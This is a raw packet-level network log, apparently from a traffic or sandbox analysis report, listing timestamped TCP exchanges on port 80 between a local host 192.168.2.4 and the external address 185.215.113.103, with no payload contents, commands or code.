Oct 18, 2024 15:04:57.905287981 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.905304909 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.905319929 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.905323982 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.905335903 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.905369997 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.905369997 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.905400991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.905441046 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.905455112 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.905534983 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.905545950 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.905561924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.905577898 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.905591011 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.905695915 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.905735970 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.905761957 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.905776978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.905791998 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.905807972 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.905821085 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.905831099 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.905854940 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.905910015 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.910500050 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.022066116 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022104979 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022124052 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022139072 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022156954 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022173882 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022190094 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022205114 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022234917 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022250891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022264004 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.022264004 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.022264004 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.022264004 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.022269011 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022298098 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022315979 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022331953 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022341967 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.022361994 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022376060 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.022377968 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022397995 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022418976 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022437096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022453070 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022471905 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022521019 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.022521019 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.022521019 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.022521019 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.022670031 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022699118 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022716045 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022749901 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.022850037 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022866011 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022883892 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022902012 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022906065 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.022906065 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.022916079 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022932053 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022949934 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.022968054 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.023010015 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.023046970 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023065090 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023080111 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023091078 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.023097038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023113012 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023128986 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023144960 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023154020 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.023163080 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023165941 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.023214102 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.023344994 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023360014 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023375988 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023403883 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023405075 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.023422003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023431063 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.023439884 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023467064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023483992 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023485899 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.023503065 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023519039 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.023520947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023540974 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023619890 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.023619890 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.023641109 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023663044 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023680925 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023741007 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.023761034 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023781061 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023797035 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023814917 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023843050 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.023843050 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.023900032 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023916960 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023932934 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023950100 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023966074 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.023984909 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.023984909 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.024012089 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.024058104 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024123907 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024138927 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024182081 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.024219036 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024235964 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024251938 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024269104 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024286985 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.024286985 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.024323940 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024341106 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024357080 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024384975 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.024430037 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024431944 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.024457932 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024473906 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024517059 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.024557114 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024574041 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024589062 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024605036 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.024606943 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024640083 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024640083 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.024771929 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024787903 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024802923 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024821043 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024847031 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.024847031 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.024862051 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.024914980 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024930954 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024947882 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.024985075 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.025006056 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025022030 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025038004 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025053978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025093079 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.025093079 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.025160074 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025177002 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025193930 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025211096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025227070 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025293112 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.025293112 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.025293112 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.025314093 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025331020 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025346041 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025362015 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025379896 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025396109 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.025423050 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.025496006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025536060 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025552988 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025579929 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.025613070 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.025619030 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025635958 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025655031 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025670052 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025711060 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.025711060 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.025798082 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025816917 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025832891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025849104 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025863886 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025880098 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025897026 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025908947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.025933981 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.025933981 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.025934935 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.025959969 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.026046038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026073933 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026096106 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026120901 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.026176929 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026192904 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026206970 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026223898 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026223898 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.026279926 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.026323080 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026350021 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026365995 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026391983 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026407957 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026424885 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026434898 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.026434898 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.026441097 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026458979 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026473999 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026535988 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.026535988 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.026535988 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.026681900 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026699066 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026715994 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026732922 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026751995 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026757956 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.026768923 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026786089 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026842117 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.026842117 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.026910067 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026927948 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026942968 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026957989 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026976109 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.026999950 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.026999950 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.027014971 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.027029991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027045012 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027107000 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.027149916 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027164936 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027179003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027195930 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027210951 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027220011 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.027226925 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027242899 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027252913 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.027261019 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027327061 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.027327061 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.027359009 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027395964 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.027400017 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027420044 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027465105 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.027654886 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027709007 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027733088 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027739048 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.027749062 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027765036 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027793884 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027802944 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.027802944 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.027810097 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027823925 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027838945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027853966 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027898073 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027913094 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027926922 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027941942 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027959108 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027975082 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027992010 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.027992964 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.027992964 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.027992964 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.027992964 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.027992964 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.028049946 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.028063059 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.028079033 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.028093100 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.028110027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.028126955 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.028182030 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.028182030 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.028460026 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.028474092 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.028490067 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.028537035 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.028537035 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.028557062 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.028572083 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.028585911 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.028601885 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.028618097 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.028649092 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.028662920 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.028664112 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.028681040 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.028697014 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.028703928 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.028713942 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.028731108 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.028786898 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.028786898 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.029083014 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.029100895 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.066525936 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.066585064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.066600084 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.066617012 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.066704988 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.066704988 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.163671017 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.163705111 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.163722038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.163737059 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.163753033 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.163769960 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.163772106 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.163806915 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.163806915 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.163826942 CEST	80	50042	185.215.113.103	192.168.2.4
